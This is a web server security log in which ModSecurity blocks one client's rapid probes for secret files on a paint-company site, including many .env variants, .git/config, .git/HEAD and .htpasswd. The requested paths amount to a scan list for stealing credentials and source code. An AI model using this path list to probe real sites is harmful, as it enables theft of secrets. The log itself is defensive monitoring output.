[Mon Oct 26 07:29:14.232037 2026] [security2:error] [pid 3019674:tid 3019674] [client 34.19.176.196:37752] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at85ik5VL05DK7ky7IO-lgAAAA4"]
[Mon Oct 26 07:29:14.232283 2026] [security2:error] [pid 3019674:tid 3019674] [client 34.19.176.196:37752] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at85ik5VL05DK7ky7IO-lgAAAA4"]
[Mon Oct 26 07:29:14.415678 2026] [security2:error] [pid 3023391:tid 3023391] [client 34.19.176.196:37804] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /frontend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "at85itllH_J00GQzpNGhXwAAABg"]
[Mon Oct 26 07:29:14.415978 2026] [security2:error] [pid 3023391:tid 3023391] [client 34.19.176.196:37804] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "at85itllH_J00GQzpNGhXwAAABg"]
[Mon Oct 26 07:29:14.416235 2026] [security2:error] [pid 3023391:tid 3023391] [client 34.19.176.196:37804] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "at85itllH_J00GQzpNGhXwAAABg"]
[Mon Oct 26 07:29:14.417071 2026] [security2:error] [pid 3019667:tid 3019667] [client 34.19.176.196:37484] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /server/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/server/.env"] [unique_id "at85ip_dbg3ptBnwDgQ4MgAAAAM"]
[Mon Oct 26 07:29:14.417202 2026] [security2:error] [pid 3019667:tid 3019667] [client 34.19.176.196:37484] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/server/.env"] [unique_id "at85ip_dbg3ptBnwDgQ4MgAAAAM"]
[Mon Oct 26 07:29:14.417424 2026] [security2:error] [pid 3019667:tid 3019667] [client 34.19.176.196:37484] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/server/.env"] [unique_id "at85ip_dbg3ptBnwDgQ4MgAAAAM"]
[Mon Oct 26 07:29:14.418213 2026] [security2:error] [pid 3023406:tid 3023406] [client 34.19.176.196:37682] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/public/.env"] [unique_id "at85iiLwNEs417cf7iD3kgAAAB4"]
[Mon Oct 26 07:29:14.418356 2026] [security2:error] [pid 3023406:tid 3023406] [client 34.19.176.196:37682] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/public/.env"] [unique_id "at85iiLwNEs417cf7iD3kgAAAB4"]
[Mon Oct 26 07:29:14.418592 2026] [security2:error] [pid 3023406:tid 3023406] [client 34.19.176.196:37682] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/public/.env"] [unique_id "at85iiLwNEs417cf7iD3kgAAAB4"]
[Mon Oct 26 07:29:14.418658 2026] [security2:error] [pid 3023406:tid 3023406] [client 34.19.176.196:37682] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/public/.env"] [unique_id "at85iiLwNEs417cf7iD3kgAAAB4"]
[Mon Oct 26 07:29:14.418672 2026] [security2:error] [pid 3023406:tid 3023406] [client 34.19.176.196:37682] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/public/.env"] [unique_id "at85iiLwNEs417cf7iD3kgAAAB4"]
[Mon Oct 26 07:29:14.419438 2026] [security2:error] [pid 3023388:tid 3023388] [client 34.19.176.196:37614] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /docker/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/docker/.env"] [unique_id "at85ijobCwOEb8ifz36PmAAAABQ"]
[Mon Oct 26 07:29:14.419571 2026] [security2:error] [pid 3023388:tid 3023388] [client 34.19.176.196:37614] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/docker/.env"] [unique_id "at85ijobCwOEb8ifz36PmAAAABQ"]
[Mon Oct 26 07:29:14.419808 2026] [security2:error] [pid 3023388:tid 3023388] [client 34.19.176.196:37614] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/docker/.env"] [unique_id "at85ijobCwOEb8ifz36PmAAAABQ"]
[Mon Oct 26 07:29:14.420575 2026] [security2:error] [pid 3023394:tid 3023394] [client 34.19.176.196:37806] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /dist/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/dist/.env"] [unique_id "at85iigqq3CRmBohYLhonAAAABs"]
[Mon Oct 26 07:29:14.420791 2026] [security2:error] [pid 3023394:tid 3023394] [client 34.19.176.196:37806] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/dist/.env"] [unique_id "at85iigqq3CRmBohYLhonAAAABs"]
[Mon Oct 26 07:29:14.421026 2026] [security2:error] [pid 3023394:tid 3023394] [client 34.19.176.196:37806] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/dist/.env"] [unique_id "at85iigqq3CRmBohYLhonAAAABs"]
[Mon Oct 26 07:29:14.421802 2026] [security2:error] [pid 3023329:tid 3023329] [client 34.19.176.196:37550] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /build/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/build/.env"] [unique_id "at85ij2qIoRfAL3Hx22jLQAAAAI"]
[Mon Oct 26 07:29:14.421986 2026] [security2:error] [pid 3023329:tid 3023329] [client 34.19.176.196:37550] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/build/.env"] [unique_id "at85ij2qIoRfAL3Hx22jLQAAAAI"]
[Mon Oct 26 07:29:14.422203 2026] [security2:error] [pid 3023329:tid 3023329] [client 34.19.176.196:37550] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/build/.env"] [unique_id "at85ij2qIoRfAL3Hx22jLQAAAAI"]
[Mon Oct 26 07:29:14.423008 2026] [security2:error] [pid 3023343:tid 3023343] [client 34.19.176.196:37636] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /web/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/web/.env"] [unique_id "at85iusSoQAaBNrI9tQz_AAAAAk"]
[Mon Oct 26 07:29:14.423163 2026] [security2:error] [pid 3023343:tid 3023343] [client 34.19.176.196:37636] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/web/.env"] [unique_id "at85iusSoQAaBNrI9tQz_AAAAAk"]
[Mon Oct 26 07:29:14.423449 2026] [security2:error] [pid 3023343:tid 3023343] [client 34.19.176.196:37636] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/web/.env"] [unique_id "at85iusSoQAaBNrI9tQz_AAAAAk"]
[Mon Oct 26 07:29:14.424323 2026] [security2:error] [pid 3010062:tid 3010062] [client 34.19.176.196:37540] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.next/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.next/.env"] [unique_id "at85iujICF14JuwJz6aCNgAAAA8"]
[Mon Oct 26 07:29:14.424508 2026] [security2:error] [pid 3010062:tid 3010062] [client 34.19.176.196:37540] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.next/.env"] [unique_id "at85iujICF14JuwJz6aCNgAAAA8"]
[Mon Oct 26 07:29:14.424756 2026] [security2:error] [pid 3010062:tid 3010062] [client 34.19.176.196:37540] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.next/.env"] [unique_id "at85iujICF14JuwJz6aCNgAAAA8"]
[Mon Oct 26 07:29:14.427547 2026] [security2:error] [pid 3010072:tid 3010072] [client 34.19.176.196:37588] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/core/.env"] [unique_id "at85ihatj5i5ZMjJaPkrUwAAABY"]
[Mon Oct 26 07:29:14.427719 2026] [security2:error] [pid 3010072:tid 3010072] [client 34.19.176.196:37588] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/core/.env"] [unique_id "at85ihatj5i5ZMjJaPkrUwAAABY"]
[Mon Oct 26 07:29:14.428004 2026] [security2:error] [pid 3010072:tid 3010072] [client 34.19.176.196:37588] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/core/.env"] [unique_id "at85ihatj5i5ZMjJaPkrUwAAABY"]
[Mon Oct 26 07:29:15.344376 2026] [security2:error] [pid 3023344:tid 3023344] [client 34.19.176.196:37632] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at85i_AWpsgTeulbP5bFHgAAABI"]
[Mon Oct 26 07:29:15.344515 2026] [security2:error] [pid 3023344:tid 3023344] [client 34.19.176.196:37632] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at85i_AWpsgTeulbP5bFHgAAABI"]
[Mon Oct 26 07:29:15.344714 2026] [security2:error] [pid 3023344:tid 3023344] [client 34.19.176.196:37632] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at85i_AWpsgTeulbP5bFHgAAABI"]
[Mon Oct 26 07:29:15.527753 2026] [security2:error] [pid 3019674:tid 3019674] [client 34.19.176.196:37752] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at85i05VL05DK7ky7IO-lwAAAA4"]
[Mon Oct 26 07:29:15.527953 2026] [security2:error] [pid 3019674:tid 3019674] [client 34.19.176.196:37752] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at85i05VL05DK7ky7IO-lwAAAA4"]
[Mon Oct 26 07:29:15.528175 2026] [security2:error] [pid 3019674:tid 3019674] [client 34.19.176.196:37752] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at85i05VL05DK7ky7IO-lwAAAA4"]
[Mon Oct 26 07:29:16.639443 2026] [authz_core:error] [pid 3023394:tid 3023394] [client 34.19.176.196:37806] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/.htpasswd
[Mon Oct 26 07:29:17.117684 2026] [security2:error] [pid 3023414:tid 3023414] [client 34.19.176.196:37818] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.keys"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.keys"] [unique_id "at85jdsfWrbfJGkie26CdgAAACY"]
[Mon Oct 26 07:29:17.118001 2026] [security2:error] [pid 3023414:tid 3023414] [client 34.19.176.196:37818] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.keys"] [unique_id "at85jdsfWrbfJGkie26CdgAAACY"]
[Mon Oct 26 07:29:17.118392 2026] [security2:error] [pid 3023414:tid 3023414] [client 34.19.176.196:37818] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.keys"] [unique_id "at85jdsfWrbfJGkie26CdgAAACY"]
[Mon Oct 26 07:29:17.119475 2026] [security2:error] [pid 3023394:tid 3023394] [client 34.19.176.196:37806] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.secret"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.secret"] [unique_id "at85jSgqq3CRmBohYLhonwAAABs"]
